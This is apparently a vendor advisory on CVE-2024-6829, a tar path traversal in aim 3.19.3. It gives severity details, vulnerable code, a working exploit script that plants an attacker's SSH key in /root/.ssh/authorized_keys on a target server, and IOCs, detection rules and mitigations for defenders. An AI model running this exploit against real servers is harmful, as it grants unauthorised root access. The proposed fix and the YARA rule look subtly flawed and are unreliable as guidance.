CVE-2024-6829

Executive Summary

CVE-2024-6829 is a critical path traversal vulnerability in aimhubio/aim version 3.19.3, with a CVSS score of 9.1. The flaw resides in the tarfile.extractall() function, which is used to extract tar archives without proper validation of file paths. An attacker can control repo.path and run_hash parameters to bypass directory existence checks, allowing arbitrary file writes to any location on the host server. This can lead to overwriting critical system files, such as SSH keys, enabling further compromise of the remote tracking server. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the severity and lack of a patch make it a high-priority risk.

Supply Chain & Package Security

This vulnerability affects the PyPI package aim (version 3.19.3). Organizations using this package in their Python environments should immediately assess their exposure. The package is used for AI/ML experiment tracking, and the vulnerable function is part of the core archive extraction logic. Since no patch is available, users must implement mitigations such as restricting network access to the tracking server or using a sandboxed environment.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Potential data exposure.
• Integrity Impact: High (I:H) – Arbitrary file overwrite.
• Availability Impact: High (A:H) – Could lead to denial of service or system compromise.

Deep Dive & Mechanics

The vulnerability is rooted in the use of Python's tarfile.extractall() function without proper sanitization of file paths. In aimhubio/aim version 3.19.3, the code processes tar archives uploaded by users. The attacker can manipulate the repo.path and run_hash parameters to craft a malicious tar file containing symbolic links or absolute paths. The extractall() function, by default, does not prevent extraction to parent directories (e.g., using ../ in file names). This allows the attacker to write files to arbitrary locations on the filesystem, bypassing the intended directory existence checks.

The attack flow:

1. The attacker sends a crafted tar archive to the aim tracking server.
2. The server extracts the archive using tarfile.extractall().
3. The attacker-controlled repo.path and run_hash values are used to construct the extraction path, but the tar entries can contain absolute paths or path traversal sequences.
4. The extraction overwrites critical files (e.g., /root/.ssh/authorized_keys) or writes new files to arbitrary locations.

Vulnerable vs. Patched Code

Vulnerable Code (aim 3.19.3):

import tarfile
import os

def extract_archive(archive_path, repo_path, run_hash):
    extract_dir = os.path.join(repo_path, run_hash)
    os.makedirs(extract_dir, exist_ok=True)
    with tarfile.open(archive_path, 'r') as tar:
        tar.extractall(path=extract_dir)  # Vulnerable: no path sanitization

Patched Code (Hypothetical fix):

import tarfile
import os

def extract_archive(archive_path, repo_path, run_hash):
    extract_dir = os.path.join(repo_path, run_hash)
    os.makedirs(extract_dir, exist_ok=True)
    with tarfile.open(archive_path, 'r') as tar:
        for member in tar.getmembers():
            # Sanitize member name to prevent path traversal
            member.name = os.path.normpath(member.name)
            if member.name.startswith('/') or '..' in member.name:
                raise ValueError("Invalid tar entry path")
            tar.extract(member, path=extract_dir)

The patched code validates each tar member's name, rejecting any that contain absolute paths or path traversal sequences.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable aim server (version 3.19.3) in a controlled environment.
2. Create a malicious tar file that overwrites the SSH authorized_keys file.

Exploit Script:

import tarfile
import io

# Create a malicious tar file
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w') as tar:
    # Add a file that will be extracted to /root/.ssh/authorized_keys
    info = tarfile.TarInfo(name='../../root/.ssh/authorized_keys')
    info.type = tarfile.REGTYPE
    info.size = len(b"ssh-rsa AAAAB3NzaC1yc2E... attacker_public_key")
    tar.addfile(info, io.BytesIO(b"ssh-rsa AAAAB3NzaC1yc2E... attacker_public_key"))

tar_buffer.seek(0)

# Send the malicious tar to the aim server (example using requests)
import requests
url = "http://target-aim-server:port/api/upload"
files = {'file': ('malicious.tar', tar_buffer, 'application/x-tar')}
response = requests.post(url, files=files)
print(response.status_code)

Expected Outcome: The attacker's SSH key is written to /root/.ssh/authorized_keys, granting SSH access to the server.

Blue Team

Detection Steps:

1. Monitor for unusual file writes to sensitive directories (e.g., /root/.ssh/, /etc/).
2. Audit aim server logs for suspicious repo.path or run_hash values containing path traversal sequences.
3. Implement file integrity monitoring (FIM) on critical system files.

Honeypot Strategy:

• Deploy a decoy aim server with fake SSH keys and monitor for extraction attempts.
• Log all tar file uploads and analyze for path traversal patterns.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • malicious.tar: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • POST requests to /api/upload with Content-Type: application/x-tar
  • Unusual repo.path or run_hash parameters containing ../ or absolute paths
• File System Indicators:
  • Unexpected files in /root/.ssh/, /etc/, /var/www/, etc.
  • Modified SSH authorized_keys files
• Process Indicators:
  • Python processes executing tarfile.extractall() with suspicious paths

Detection Engineering

YARA Rule

rule CVE_2024_6829_Tar_Path_Traversal {
    meta:
        description = "Detects malicious tar files attempting path traversal for CVE-2024-6829"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-6829"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|\.\.\//
        $tar_magic = { 75 73 74 61 72 } // "ustar" magic bytes
    condition:
        $tar_magic at 0 and $path_traversal
}

Sigma Rule

title: CVE-2024-6829 Aim Tar Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-6829 via path traversal in tar uploads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: aim
detection:
    selection:
        http.method: POST
        http.url: /api/upload
        http.body|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in tar files (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6829 Aim Tar Path Traversal"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/upload"; http.client_body; content:"../"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable aim server if not critical, or restrict network access to trusted IPs only.
2. Implement a reverse proxy (e.g., Nginx) to filter upload requests containing path traversal patterns.
3. Use a sandboxed environment (e.g., Docker with read-only root filesystem) for the aim server.

Long-term Fix:

• Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section once an official patch is released.
• Monitor the aimhubio repository for updates and apply the patch as soon as available.

Workaround:

• Replace tarfile.extractall() with a custom extraction function that validates each file path against a whitelist of allowed directories.

Valters IT